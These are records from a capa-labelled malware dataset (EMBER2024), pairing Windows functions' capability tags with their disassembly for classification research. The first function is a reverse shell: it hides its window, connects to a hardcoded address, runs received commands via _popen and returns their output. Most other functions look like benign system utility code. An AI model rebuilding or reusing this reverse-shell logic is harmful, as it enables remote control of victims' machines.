joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Connect socket
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x308c
call fcn.00401ea0
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x3088], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 6
push edi
call esi
push 0
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x3e6
mov esi, eax
mov byte [esp + 0x1b4], 0
lea eax, [esp + 0x1b5]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
test esi, esi
jne 0x4011f6
push esi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
push str.192.168.64.137
mov dword [esp + 0x10], edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x14], eax
mov eax, 2
push 0xc350
mov word [esp + 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
lea eax, [esp + 0x10]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4011f6
push esi
push 0x3e7
lea eax, [esp + 0x1b8]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4011e9
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
nop word [eax + eax]
lea eax, [esp + 0x1b0]
push 0x402148
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
push 0x270e
mov ebx, eax
mov byte [esp + 0x98c], 0
lea eax, [esp + 0x98d]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ebx
lea eax, [esp + 0x5b0]
push 0x3e6
push eax
call esi
add esp, 0x20
test eax, eax
je 0x401198
nop dword [eax + eax]
lea eax, [esp + 0x598]
mov esi, eax
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401150
lea edi, [esp + 0x980]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401161
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x598]
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
push 0x3e6
push eax
call esi
add esp, 0xc
test eax, eax
jne 0x401140
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x980]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4011a2
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
lea eax, [esp + 0x988]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [esp + 0x1b0]
push 0
push 0x3e7
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4010f0
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x3094]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040120d
mov esp, ebp
pop ebp
ret
Function at 0x1007e01
Capabilities:
Check if file exists
Create directory
Delete file
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 1
push 0x1b
push 0x10015dc
lea ecx, [ebp - 0x40]
call fcn.010148a2
mov esi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
push 0x22
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], 0x10032b8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
pop eax
cmp esi, ebx
jne 0x1007e53
mov dword [ebp - 0x40], 0x80070057
mov word [ebp - 0x3a], ax
jmp 0x1007f0c
push dword [esi]
mov dword [ebp - 0x40], ebx
mov word [ebp - 0x3c], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1007e98
test al, 0x10
je 0x1007e75
mov dword [ebp - 0x40], ebx
push 0x2a
jmp 0x1007f07
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1007e8e
call fcn.01015b6b
push 0x34
mov dword [ebp - 0x40], eax
pop eax
jmp 0x1007e4a
push 0x34
pop eax
mov dword [ebp - 0x40], ebx
mov word [ebp - 0x3c], ax
push ebx
lea eax, [ebp - 4]
push eax
push 1
push 0x1001518
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
jne 0x1007eb6
call fcn.01015b6b
push 0x3f
jmp 0x1007e88
mov esi, dword [esi]
push 0x3f
pop eax
mov word [ebp - 0x3c], ax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1007f0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1007ef0
xor eax, eax
cmp eax, ebx
jle 0x1007efe
and eax, 0xffff
or eax, 0x80070000
cmp eax, ebx
mov dword [ebp - 0x40], eax
push 0x4c
jl 0x1007e8b
pop eax
mov word [ebp - 0x3c], ax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x40]
lea ecx, [ebp - 0x1c]
call fcn.01016fe9
lea ecx, [ebp - 0x40]
call fcn.01014aa3
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x1007f36
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push 0x55
push 0x100166c
lea ecx, [ebp - 0x34]
call fcn.010148a2
xor ebx, ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x10], 0x10032b8
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
cmp dword [ebp - 4], esi
jbe 0x1007fa7
push 0x1001664
push dword [edi + esi*4]
mov edx, 0x1001660
lea ecx, [ebp - 0x10]
call fcn.01017996
push 0x61
mov dword [ebp - 0x34], eax
cmp eax, ebx
pop eax
jl 0x1007fde
inc esi
mov word [ebp - 0x30], ax
cmp esi, dword [ebp - 4]
jb 0x1007f7e
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
push 0x63
mov dword [ebp - 0x34], eax
cmp eax, ebx
pop eax
jl 0x1007fde
push 0x10015f8
mov word [ebp - 0x30], ax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [0x101b3bc], eax
cmp eax, ebx
jne 0x1007fe4
call fcn.01015b6b
push 0x66
mov dword [ebp - 0x34], eax
pop eax
mov word [ebp - 0x2e], ax
jmp 0x100800e
push 0x66
pop ecx
push 1
push eax
mov dword [ebp - 0x34], ebx
mov word [ebp - 0x30], cx
call dword [sym.imp.USER32.dll_ChangeWindowMessageFilter]
push dword [ebp - 4]
push edi
call fcn.0100cbaa
push 0x6b
mov dword [ebp - 0x34], eax
cmp eax, ebx
pop eax
jl 0x1007fde
mov word [ebp - 0x30], ax
cmp edi, ebx
je 0x1008019
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x10]
call fcn.01016fe9
lea ecx, [ebp - 0x34]
call fcn.01014aa3
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x1008589
Capabilities:
Enumerate gui resources

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 1
push 0xc1
push 0x1001744
lea ecx, [ebp - 0x30]
call fcn.010148a2
mov ebx, dword [ebp + 0xc]
xor esi, esi
xor eax, eax
mov dword [ebp - 0xc], esi
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp ebx, esi
je 0x10085bd
mov dword [ebx], esi
mov edi, dword [ebp + 8]
mov eax, 0xc9
cmp edi, esi
jne 0x10085d9
mov dword [ebp - 0x30], 0x80070057
mov word [ebp - 0x2a], ax
jmp 0x100867b
mov word [ebp - 0x2c], ax
mov eax, 0xca
cmp ebx, esi
je 0x10085c9
push 0x10015f8
mov dword [ebp - 0x30], esi
mov word [ebp - 0x2c], ax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
cmp eax, esi
jne 0x100860b
call fcn.01015b6b
mov dword [ebp - 0x30], eax
mov eax, 0xcd
jmp 0x10085d0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
mov ecx, 0xcd
push 0x100836a
mov dword [ebp - 0x30], esi
mov word [ebp - 0x2c], cx
mov dword [ebp - 8], edi
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x1008658
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x1008647
and eax, 0xffff
or eax, 0x80070000
cmp eax, esi
mov dword [ebp - 0x30], eax
jge 0x1008658
mov eax, 0xd6
jmp 0x10085d0
mov eax, dword [ebp - 4]
cmp eax, esi
jne 0x100866d
mov dword [ebp - 0x30], 1
mov eax, 0xdb
jmp 0x1008677
mov dword [ebx], eax
mov dword [ebp - 0x30], esi
mov eax, 0xdf
mov word [ebp - 0x2c], ax
mov esi, dword [ebp - 0x30]
lea ecx, [ebp - 0x30]
call fcn.01014aa3
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x100882d
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push 1
push 0x18a
push 0x1001784
lea ecx, [ebp - 0x24]
call fcn.010148a2
mov esi, 0xffff
mov eax, 0x18e
cmp dword [ebp + 0x10], esi
jbe 0x1008866
mov dword [ebp - 0x24], 0x80070057
mov word [ebp - 0x1e], ax
jmp 0x10088b9
cmp dword [ebp + 8], 0
mov word [ebp - 0x20], ax
mov eax, 0x18f
je 0x1008859
and dword [ebp - 0x24], 0
push 0
mov word [ebp - 0x20], ax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x10088b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x10088a9
and eax, esi
or eax, 0x80070000
mov dword [ebp - 0x24], eax
test eax, eax
mov eax, 0x195
jl 0x1008860
mov word [ebp - 0x20], ax
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x24]
call fcn.01014aa3
mov eax, esi
pop esi
leave
ret 0xc
Function at 0x1009326
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x101b2b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 1
push 0x1ef
push 0x100190c
lea ecx, [ebp - 0x234]
call fcn.010148a2
xor eax, eax
xor edi, edi
push 0x208
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0x240], 0x10032b8
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x238], edi
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x1f4
cmp esi, edi
jne 0x10093b0
mov dword [ebp - 0x234], 0x80070057
mov word [ebp - 0x22e], ax
jmp 0x100949d
mov word [ebp - 0x230], ax
mov eax, 0x1f5
cmp ebx, edi
je 0x100939a
mov word [ebp - 0x230], ax
inc eax
cmp dword [ebp + 0x10], edi
jbe 0x100939a
mov edx, esi
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x234], edi
mov word [ebp - 0x230], ax
call fcn.01017aa3
mov dword [ebp - 0x234], eax
cmp eax, edi
mov eax, 0x1f9
jl 0x10093a4
mov word [ebp - 0x230], ax
inc eax
cmp dword [ebp - 0x23c], edi
je 0x100939a
push 0x5c
pop edx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x234], edi
mov word [ebp - 0x230], ax
call fcn.01017a4d
mov dword [ebp - 0x234], eax
cmp eax, edi
mov eax, 0x1fd
jl 0x10093a4
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov word [ebp - 0x230], ax
push 0x105
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x240]
call esi
test eax, eax
mov eax, 0x204
jne 0x100946d
mov dword [ebp - 0x234], 0x80004005
jmp 0x10093a4
push dword [ebp + 0x10]
mov word [ebp - 0x230], ax
push ebx
lea eax, [ebp - 0x210]
push eax
mov dword [ebp - 0x234], edi
call esi
test eax, eax
mov eax, 0x209
je 0x100945e
mov dword [ebp - 0x234], edi
mov word [ebp - 0x230], ax
mov esi, dword [ebp - 0x234]
lea ecx, [ebp - 0x240]
call fcn.01016fe9
lea ecx, [ebp - 0x234]
call fcn.01014aa3
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.01014215
leave
ret 0xc

Function at 0x100cdae
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x101b2b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
cmp esi, eax
jne 0x100cdce
xor eax, eax
jmp 0x100ce20
push 0xa
lea ecx, [ebp - 0x18]
push ecx
push eax
push eax
push eax
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x100cdca
push edi
mov edi, dword [sym.imp.msvcrt.dll__wcsicmp]
lea eax, [ebp - 0x18]
push 0x1001e08
push eax
call edi
pop ecx
pop ecx
test eax, eax
je 0x100ce11
lea eax, [ebp - 0x18]
push 0x1001e00
push eax
call edi
pop ecx
pop ecx
test eax, eax
je 0x100ce11
xor eax, eax
jmp 0x100ce1f
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
dec eax
dec eax
neg eax
sbb eax, eax
inc eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.01014215
leave
ret 4
Function at 0x100d086
Capabilities:
Get file system object information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4fc
mov eax, dword [0x101b2b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 1
push 0x142
push 0x1001e20
lea ecx, [ebp - 0x4fc]
mov dword [ebp - 0x4d8], ebx
call fcn.010148a2
xor edi, edi
push 0x2b0
lea eax, [ebp - 0x2b4]
push edi
push eax
mov dword [ebp - 0x2b8], edi
call sub.msvcrt.dll_memset
push 0x214
lea eax, [ebp - 0x4cc]
push edi
push eax
mov dword [ebp - 0x4d4], 0x100
mov dword [ebp - 0x4d0], edi
call sub.msvcrt.dll_memset
add esp, 0x18
cmp esi, edi
je 0x100d106
mov dword [esi], edi
mov eax, 0x14c
cmp ebx, edi
jne 0x100d125
mov dword [ebp - 0x4fc], 0x80070057
mov word [ebp - 0x4f6], ax
jmp 0x100d1c8
mov word [ebp - 0x4f8], ax
mov eax, 0x14d
cmp esi, edi
je 0x100d10f
mov dword [ebp - 0x4fc], edi
mov word [ebp - 0x4f8], ax
lea ebx, [eax - 0x4c]
cmp dword [ebp + 0x10], edi
je 0x100d150
mov dword [ebp - 0x4d4], ebx
push dword [ebp - 0x4d4]
lea eax, [ebp - 0x2b8]
push 0x2b4
push eax
push edi
push dword [ebp - 0x4d8]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
jne 0x100d1ba
lea eax, [ebp - 0x4d0]
push eax
push ebx
push 8
mov dword [ebp - 0x4d0], 0x218
call dword [sym.imp.SHELL32.dll_SHGetStockIconInfo]
mov dword [ebp - 0x4fc], eax
cmp eax, edi
mov eax, 0x15a
jge 0x100d1ab
mov dword [ebp - 0x4fc], 0x80004005
jmp 0x100d119
mov word [ebp - 0x4f8], ax
mov eax, dword [ebp - 0x4cc]
jmp 0x100d1c0
mov eax, dword [ebp - 0x2b8]
mov dword [esi], eax
mov dword [ebp - 0x2b8], edi
cmp dword [ebp - 0x2b8], edi
je 0x100d1e2
push dword [ebp - 0x2b8]
call dword [sym.imp.USER32.dll_DestroyIcon]
mov dword [ebp - 0x2b8], edi
mov esi, dword [ebp - 0x4fc]
lea ecx, [ebp - 0x4fc]
call fcn.01014aa3
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.01014215
leave
ret 0xc
Function at 0x100d669
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x78
push esi
push edi
xor edi, edi
inc edi
push edi
push 0xfd
push 0x1001f00
lea ecx, [ebp - 0x3c]
call fcn.010148a2
xor esi, esi
mov eax, 0x10032b8
push 0x38
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push esi
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x78], esi
call sub.msvcrt.dll_memset
mov edx, dword [ebp + 0x10]
add esp, 0xc
mov eax, 0x103
cmp edx, esi
jne 0x100d6d0
mov dword [ebp - 0x3c], 0x80070057
mov word [ebp - 0x36], ax
jmp 0x100d7c0
mov word [ebp - 0x38], ax
mov eax, 0x104
cmp dword [ebp + 0x14], esi
je 0x100d6c0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x3c], esi
mov word [ebp - 0x38], ax
call fcn.0101766b
mov dword [ebp - 0x3c], eax
cmp eax, esi
mov eax, 0x106
jl 0x100d6c7
push dword [ebp + 0x14]
mov edx, 0x10018d8
lea ecx, [ebp - 0x18]
mov word [ebp - 0x38], ax
call fcn.01017aba
mov dword [ebp - 0x3c], eax
cmp eax, esi
mov eax, 0x108
jl 0x100d6c7
mov word [ebp - 0x38], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x74], 0x540
mov dword [ebp - 0x78], 0x3c
mov dword [ebp - 0x70], eax
cmp dword [ebp + 0xc], esi
je 0x100d73d
mov dword [ebp - 0x6c], 0x1001ef4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x5c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x100d7c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x100d76e
and eax, 0xffff
or eax, 0x80070000
mov ecx, eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [section..data]
cmp eax, section..data
je 0x100d79b
test dword [eax + 0x1c], 0x200
je 0x100d79b
push ecx
push 0x1001c78
push 0xa
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.0100cd82
cmp dword [ebp - 0x3c], 0x800704c7
jne 0x100d7ae
mov dword [ebp - 0x3c], edi
mov eax, 0x11d
jmp 0x100d7bc
cmp dword [ebp - 0x3c], esi
mov eax, 0x121
jl 0x100d6c7
mov word [ebp - 0x38], ax
cmp dword [ebp - 0x40], esi
je 0x100d7d1
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x40], esi
mov esi, dword [ebp - 0x3c]
lea ecx, [ebp - 0xc]
call fcn.01016fe9
lea ecx, [ebp - 0x18]
call fcn.01016fe9
lea ecx, [ebp - 0x3c]
call fcn.01014aa3
pop edi
mov eax, esi
pop esi
leave
ret 0x10
Function at 0x1012f6d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
inc edi
push edi
push 0x32d
push 0x1002890
lea ecx, [ebp - 0x28]
call fcn.010148a2
mov esi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
test esi, esi
je 0x1012fdd
and dword [ebp - 0x28], 0
mov eax, 0x331
push 2
mov word [ebp - 0x24], ax
lea eax, [ebp - 4]
push eax
push 0x20001009
push dword [ebp + 0xc]
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1012fc5
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov esi, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.01014aa3
pop edi
mov eax, esi
pop esi
leave
ret 0xc
mov eax, 0x331
mov dword [ebp - 0x28], 0x80070057
mov word [ebp - 0x22], ax
jmp 0x1012fca
Function at 0x10141fa
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x1017f20
call fcn.010143d4
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x101b79c
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
test eax, eax
je 0x1013fb1
cmp eax, esi
jne 0x1013fa4
xor esi, esi
inc esi
mov ebx, esi
jmp 0x1013fb4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1013f8b
xor esi, esi
inc esi
mov eax, dword [0x101b798]
cmp eax, esi
jne 0x1013fc7
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1013ff6
mov eax, dword [0x101b798]
test eax, eax
jne 0x1013ff0
mov dword [0x101b798], esi
push 0x1001380
push 0x1001374
call fcn.01013eef
pop ecx
pop ecx
test eax, eax
je 0x1013ff6
jmp 0x101411e
mov dword [0x101b3f8], esi
mov eax, dword [0x101b798]
cmp eax, esi
jne 0x101401a
push 0x1001370
push 0x1001368
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x101b798], 2
test ebx, ebx
jne 0x1014026
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x101b7a0], 0
je 0x101404a
push 0x101b7a0
call fcn.01014349
pop ecx
test eax, eax
je 0x101404a
push 0
push 2
push 0
call dword [0x101b7a0]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x10140a6
test al, al
je 0x1014064
cmp dword [ebp - 0x1c], 0
jne 0x10140a6
mov al, byte [esi]
test al, al
je 0x1014074
cmp al, 0x20
ja 0x1014074
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1014064
test byte [ebp - 0x3c], 1
je 0x1014080
movzx eax, word [ebp - 0x38]
jmp 0x1014083
push 0xa
pop eax
push eax
push esi
push 0
push 0x1000000
call main
mov dword [0x101b3f4], eax
cmp dword [0x101b3e8], 0
jne 0x10140fa
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x10140b5
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x10140c8
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x1014051
cmp dword [0x101b3f8], 0
jne 0x1014109
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x101b3f4]
jmp 0x101412a
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.01014419
ret
call fcn.01014521
jmp 0x1013f51
Function at 0x1014aa3
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor edi, edi
cmp eax, edi
jge 0x1014b7d
push eax
call sub.SXSHARED.dll_SxTracerShouldTrackFailure
mov dword [ebp - 4], eax
mov ecx, 0x1002e04
cmp eax, edi
jne 0x1014ad7
mov ecx, 0x1002dfc
cmp dword [esi + 8], edi
jne 0x1014b13
mov eax, dword [section..data]
cmp eax, section..data
je 0x1014b13
test dword [eax + 0x1c], 0x2000000
je 0x1014b13
push dword [esi]
movzx edx, word [esi + 6]
push edx
push ecx
movzx ecx, word [esi + 4]
push ecx
push dword [esi + 0x10]
push 0x1002dc8
push 0xf
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.010147b7
cmp dword [esi + 0x1c], edi
je 0x1014b4f
mov eax, dword [esi + 0x18]
mov ecx, dword [esi]
cmp ecx, dword [eax + 0x10]
je 0x1014b4f
mov eax, dword [eax + 0xc]
cmp eax, edi
je 0x1014b32
push eax
call ebx
mov eax, dword [esi + 0x18]
mov dword [eax + 0xc], edi
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x20]
mov dword [eax + 4], ecx
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov dword [eax + 0xc], ecx
mov eax, dword [esi + 0x18]
mov ecx, dword [esi]
mov dword [esi + 0x1c], edi
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x1014b61
mov ecx, dword [esi]
cmp ecx, dword [eax + 8]
je 0x1014bf8
cmp dword [esi + 8], edi
jne 0x1014b6d
mov ecx, esi
call fcn.01014998
cmp dword [ebp - 4], edi
je 0x1014bf8
call sub.SXSHARED.dll_SxTracerDebuggerBreak
jmp 0x1014bf8
movzx eax, word [esi + 0xc]
cmp ax, di
jne 0x1014ba7
mov eax, dword [section..data]
cmp eax, section..data
je 0x1014bf8
test dword [eax + 0x1c], 0x8000000
je 0x1014bf8
push dword [esi + 0x10]
push 0x1002dc8
push 0x10
jmp 0x1014bed
cmp ax, 1
jne 0x1014bce
mov eax, dword [section..data]
cmp eax, section..data
je 0x1014bf8
test dword [eax + 0x1c], 0x20000000
je 0x1014bf8
push dword [esi + 0x10]
push 0x1002dc8
push 0x11
jmp 0x1014bed
mov eax, dword [section..data]
cmp eax, section..data
je 0x1014bf8
test dword [eax + 0x1c], 0x20000
je 0x1014bf8
push dword [esi + 0x10]
push 0x1002dc8
push 0x12
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.010146b5
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x1014c2b
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x18]
cmp dword [esi + 0x14], edi
jne 0x1014c26
mov dword [eax + 8], edi
mov eax, dword [esi + 0x18]
push dword [eax + 0xc]
call ebx
mov eax, dword [esi + 0x18]
mov dword [eax + 0xc], edi
mov eax, dword [esi + 0x18]
mov dword [eax + 0x10], edi
jmp 0x1014c2b
mov ecx, dword [esi]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x1c]
cmp eax, edi
je 0x1014c38
push eax
call ebx
mov dword [esi + 0x1c], edi
mov dword [esi + 0x14], edi
pop edi
pop esi
pop ebx
leave
ret